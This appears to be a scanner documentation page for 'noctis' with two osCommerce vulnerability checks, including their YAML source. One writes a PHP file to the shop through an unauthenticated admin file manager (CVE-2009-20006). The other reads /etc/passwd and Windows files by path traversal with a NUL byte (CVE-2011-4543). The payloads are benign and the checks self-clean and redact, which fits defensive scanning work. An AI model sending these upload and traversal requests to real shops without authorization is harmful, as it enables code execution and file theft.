osCommerce — 2 vulnerability checks

noctis ships 2 vulnerability checks for osCommerce, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

osCommerce Online Merchant <= 2.2 RC2a file_manager.php Unauthenticated Arbitrary File Upload

CVECVE-2009-20006
Severitycritical · CVSS 9.3
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/oscommerce/CVE-2009-20006.yaml

osCommerce Online Merchant up to 2.2 RC2a lets an unauthenticated attacker reach the admin file manager by appending /login.php to its URL (admin/file_manager.php/login.php), then write an arbitrary PHP file into the shop root with action=save. This check confirms the unauthenticated file manager, writes a self-deleting PHP file that prints NOCTIS<A*B> for random A and B, and fetches it: the computed product proves remote code execution.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{osc_dir}}/admin/file_manager.php/login.php
  3. HTTP(S) request POST {{osc_dir}}/admin/file_manager.php/login.php?action=save with a crafted body
  4. HTTP(S) request GET {{osc_dir}}/{{osc.fname}}
  5. Checks fetch.body for NOCTIS\d+ → finding QoD 97: Unauthenticated file write + PHP execution: …/admin/file_manager.php/login.php?action=save wrote …/…, which rendered … (computed …*…) and d…

References:

Feed source — tests/vulnerabilities/oscommerce/CVE-2009-20006.yaml
# CVE-2009-20006 — osCommerce Online Merchant <= 2.2 RC2a: unauthenticated
# arbitrary file write / PHP upload through admin/file_manager.php.
# Active detection ported from OpenVAS/Greenbone NASL 2010/gb_oscommerce_40456.nasl
# (GPL-2.0-only); request shape cross-checked with the Metasploit module
# exploits/unix/webapp/oscommerce_filemanager.rb.
#
# Root cause (osCommerce 2.2 RC2a source): admin/includes/application_top.php
# only skips its login redirect when basename($PHP_SELF) == 'login.php'.
# $PHP_SELF carries PATH_INFO, so /admin/file_manager.php/login.php runs the
# file manager without a session. Its `save` action then does
#   fopen($current_path . '/' . basename($_POST['filename']), 'w+')
#   fputs($fp, stripslashes($_POST['file_contents']))
# with $current_path = DIR_FS_DOCUMENT_ROOT (the catalog root) for a fresh
# session, and answers with a 302 to file_manager.php?info=<file>.
#
# Detection (benign, self-cleaning — project rule):
#   1. Gate (beyond the NASL): GET <dir>/admin/file_manager.php/login.php
#      without following redirects. Only a 200 page that links back to
#      file_manager.php (the file manager rendered unauthenticated) lets the
#      upload run, so nothing is written on a non-osCommerce host or on a
#      patched admin that redirects to login.php.
#   2. Upload: the NASL's POST, with a random file name and the content
#        <?php echo 'NOCTIS'.(A*B); @unlink(__FILE__); ?>
#      (random A, B per run). The script deletes itself on its first run.
#   3. Fetch <dir>/<file>: only real PHP execution renders NOCTIS<A*B>; the
#      product never appears in the request. The NASL matched a literal string
#      that is also present in the raw file source, so a server returning the
#      uploaded file unexecuted was a false positive there.
#
# Base paths: the NASL uses the detected install dir. noctis has no app
# detection, so the feed loops over `/`, `/catalog` (Metasploit default and
# the stock tarball layout), `/oscommerce` and `/shop`, stopping at the first
# confirmed one.
uid: 02df961d-c284-4083-9a63-1bdcc0da4d4a
name: "osCommerce Online Merchant <= 2.2 RC2a file_manager.php Unauthenticated Arbitrary File Upload (CVE-2009-20006)"
description: |
  osCommerce Online Merchant up to 2.2 RC2a lets an unauthenticated attacker
  reach the admin file manager by appending /login.php to its URL
  (admin/file_manager.php/login.php), then write an arbitrary PHP file into
  the shop root with action=save. This check confirms the unauthenticated file
  manager, writes a self-deleting PHP file that prints NOCTIS<A*B> for random
  A and B, and fetches it: the computed product proves remote code execution.
cves: [CVE-2009-20006]
cvss: 9.3
severity: critical
confidence_base: 0.30
category: rce
tags:
  - oscommerce
  - file-upload
  - rce
  - intrusive
  - openvas-migrated
services:
  - http
  - https
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-20006"
  - "https://www.exploit-db.com/exploits/9556"
  - "https://www.vulncheck.com/advisories/oscommerce-arbitrary-php-code-execution"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/oscommerce_filemanager.rb"
  - "OpenVAS/Greenbone NASL 2010/gb_oscommerce_40456.nasl (GPL-2.0-only)"

steps:
  # ── Per-run random file name and arithmetic operands ─────────────────────
  - id: gen
    action: script
    code: |
      let a = rand_int(1013, 9973);
      let b = rand_int(1013, 9973);
      #{
        fname: "noctis" + rand_str(10) + ".php",
        a: a,
        b: b,
        marker: "NOCTIS" + (a * b)
      }
    store_as: osc

  # ── Every step below runs once per candidate base path (loop group).
  # Pre-initialise the stored results: a failed request leaves store_as
  # unset and a condition reading it would silently be false anyway, but the
  # explicit defaults keep each iteration independent of the previous one.
  - id: init-gate
    action: set_var
    var_name: gate
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/catalog", "/oscommerce", "/shop"]
      var: osc_dir

  - id: init-fetch
    action: set_var
    var_name: fetch
    var_value: {status: 0, body: ""}

  # ── 1. Gate: file manager reachable without a session ────────────────────
  - id: gate-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{osc_dir}}/admin/file_manager.php/login.php"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: gate

  # ── 2. Upload the self-deleting PHP file (NASL request, benign content) ──
  - id: upload
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{osc_dir}}/admin/file_manager.php/login.php?action=save"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "filename={{osc.fname}}&file_contents=%3C%3Fphp+echo+%27NOCTIS%27.%28{{osc.a}}%2A{{osc.b}}%29%3B+%40unlink%28__FILE__%29%3B+%3F%3E&submit=+++Save+++"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: upload_resp
    condition: "gate.status == 200 && gate.body.contains(\"file_manager.php\")"

  # ── 3. Fetch it: only executed PHP renders the computed product ──────────
  - id: fetch-file
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{osc_dir}}/{{osc.fname}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: fetch
    condition: "gate.status == 200 && gate.body.contains(\"file_manager.php\")"

  - id: report
    action: match
    source: fetch.body
    pattern: "NOCTIS\\d+"
    condition: "fetch.status == 200 && fetch.body.contains(osc.marker)"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "Unauthenticated file write + PHP execution: {{osc_dir}}/admin/file_manager.php/login.php?action=save wrote {{osc_dir}}/{{osc.fname}}, which rendered {{osc.marker}} (computed {{osc.a}}*{{osc.b}}) and deleted itself (unlink(__FILE__))."
      stop: true

osCommerce 3.0.2 Local File Inclusion

CVECVE-2011-4543
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/oscommerce/CVE-2011-4543.yaml

Tests osCommerce Online Merchant 3.0.2 for the unauthenticated local file inclusion in the admin templates_modules pages, which include a file named by the set parameter. The feed requests info.php under the usual shop folder locations (the web root, /oscommerce, /catalog, /osCommerce) with set holding a ../ sequence ending in etc/passwd followed by a NUL byte and, when no passwd content comes back, windows/win.ini and then boot.ini. The content of the file in the reply confirms the inclusion. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence. The NUL truncation works on PHP before 5.3.4.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/OM/Core/Site/Admin/Application/templates_modules/pages/info.php?set=../../../…
  2. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/OM/Core/Site/Admin/Application/templates_modules/pages/info.php?set=../../../…
  5. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  6. HTTP(S) request GET {{dir}}/OM/Core/Site/Admin/Application/templates_modules/pages/info.php?set=../../../…
  7. Checks bootini_r.body for (?i)\[boot loader\]
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET {{dir}}/OM/Core/Site/Admin/Application/templates_modules/pages/info.php?set={{ctrl_pa…
  10. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  11. Checks lin_proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: osCommerce 3.0.2 Local File Inclusion (CVE-2011-4543)
  12. Checks win_file for ^(windows/win\.ini|boot\.ini)$ → finding QoD 75: osCommerce 3.0.2 Local File Inclusion (CVE-2011-4543)

References:

Feed source — tests/vulnerabilities/oscommerce/CVE-2011-4543.yaml
# osCommerce Online Merchant 3.0.2 admin templates_modules local file inclusion — CVE-2011-4543
#
# osCommerce 3.0.2 builds the file it includes from the "set" and "module"
# request parameters of its admin templates_modules pages
# (OM/Core/Site/Admin/Application/templates_modules/pages/info.php, edit.php,
# uninstall.php, main.php and the modules_* pages) without removing "../", and
# a NUL byte ends the path before the fixed suffix. The included file is
# executed (PHP) or printed (anything else), with no login required.
#
# Detection (benign, read-only): GET
#   <shop dir>/OM/Core/Site/Admin/Application/templates_modules/pages/info.php?set=<../ x12>etc/passwd%00&module=foo
# and match the CONTENT of /etc/passwd; when the page answers but no passwd
# line comes back, windows/win.ini, then boot.ini. QoD 75 (response analysis).
# Needs PHP < 5.3.4 with magic_quotes_gpc off (the NUL truncation) — the
# conditions of the advisory's PoC; newer stacks are not affected by this vector.
#
# Improvements over the source NASL:
#   - The NASL needs its osCommerce detection first; the feed probes the usual
#     shop folders (/, /oscommerce, /catalog, /osCommerce) directly.
#   - A control request (same parameter, a path in an absent random directory
#     that still ends with the file that hit) must come back WITHOUT any of
#     these files; a blanket responder or a honeypot keying a fake file on the
#     file name or path suffix is not reported (fail-closed: no control reply → no finding).
#   - The account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVSS: CVE-2011-4543 v2 7.5 (NVD has no v3 score). Only info.php is exercised;
# the advisory's other pages share the same flaw.
#
# Ported from OpenVAS/Greenbone NVT 2011/gb_oscommerce_50793.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103345, GPL-2.0-only).
uid: a71a7b87-2627-4989-92d4-6357410225ef
name: "osCommerce 3.0.2 Local File Inclusion (CVE-2011-4543)"
description: |
  Tests osCommerce Online Merchant 3.0.2 for the unauthenticated local file
  inclusion in the admin templates_modules pages, which include a file named
  by the set parameter. The feed requests info.php under the usual shop folder
  locations (the web root, /oscommerce, /catalog, /osCommerce) with set holding
  a ../ sequence ending in etc/passwd followed by a NUL byte and, when no
  passwd content comes back, windows/win.ini and then boot.ini. The content of
  the file in the reply confirms the inclusion. A control request for an
  absent random file through the same parameter must not return any of these
  files, so a server that serves the same content on every request is not
  reported. Only world-readable system files are read. The account name
  (unless root), password field and gecos of the uid-0 line are redacted from
  the evidence. The NUL truncation works on PHP before 5.3.4.
cves: [CVE-2011-4543]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [oscommerce, php, lfi, local-file-inclusion, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-4543"
  - "http://www.securityfocus.com/bid/50793"
  - "https://www.dognaedis.com/vulns/DGS-SEC-4.html"
  # OpenVAS/Greenbone NASL 2011/gb_oscommerce_50793.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per shop folder location.
  # Each pass resets the values it reads, so nothing is left over.
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/oscommerce", "/catalog", "/osCommerce"]

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/OM/Core/Site/Admin/Application/templates_modules/pages/info.php?set=../../../../../../../../../../../../etc/passwd%00&module=foo"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        if passwd_m.captures[0] == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: lin_proof

  # ── Windows: windows/win.ini, then boot.ini (older Windows) — only when the
  # script answered (200) and the Linux read gave nothing ───────────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/OM/Core/Site/Admin/Application/templates_modules/pages/info.php?set=../../../../../../../../../../../../windows/win.ini%00&module=foo"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && passwd_r.status == 200'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{dir}}/OM/Core/Site/Admin/Application/templates_modules/pages/info.php?set=../../../../../../../../../../../../boot.ini%00&module=foo"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent path sits in a random missing directory but still ENDS with
  # the file that hit (etc/passwd, windows/win.ini or boot.ini), so a honeypot
  # that keys a fake file on that name or path suffix answers it too.
  - id: control-path
    action: script
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { win_file };
      "../../../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/OM/Core/Site/Admin/Application/templates_modules/pages/info.php?set={{ctrl_path}}%00&module=foo"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean) ─────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "osCommerce 3.0.2 Local File Inclusion (CVE-2011-4543)"
        description: "An unauthenticated request to templates_modules/pages/info.php with set holding a ../ sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as the shop's configuration with its database password, and the include executes any local PHP file."
        remediation: "Remove osCommerce 3.0.x (unmaintained) from the server, restrict access to the OM/Core/Site/Admin directory, and run PHP 5.3.4 or later so that a NUL byte cannot truncate the included path."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/OM/Core/Site/Admin/Application/templates_modules/pages/info.php?set=../../../../../../../../../../../../etc/passwd%00&module=foo returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "osCommerce 3.0.2 Local File Inclusion (CVE-2011-4543)"
        description: "An unauthenticated request to templates_modules/pages/info.php with set holding a ../ sequence ending in a Windows system file and a NUL byte returned that file's content, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as the shop's configuration with its database password, and the include executes any local PHP file."
        remediation: "Remove osCommerce 3.0.x (unmaintained) from the server, restrict access to the OM/Core/Site/Admin directory, and run PHP 5.3.4 or later so that a NUL byte cannot truncate the included path."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/OM/Core/Site/Admin/Application/templates_modules/pages/info.php?set=../../../../../../../../../../../../{{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub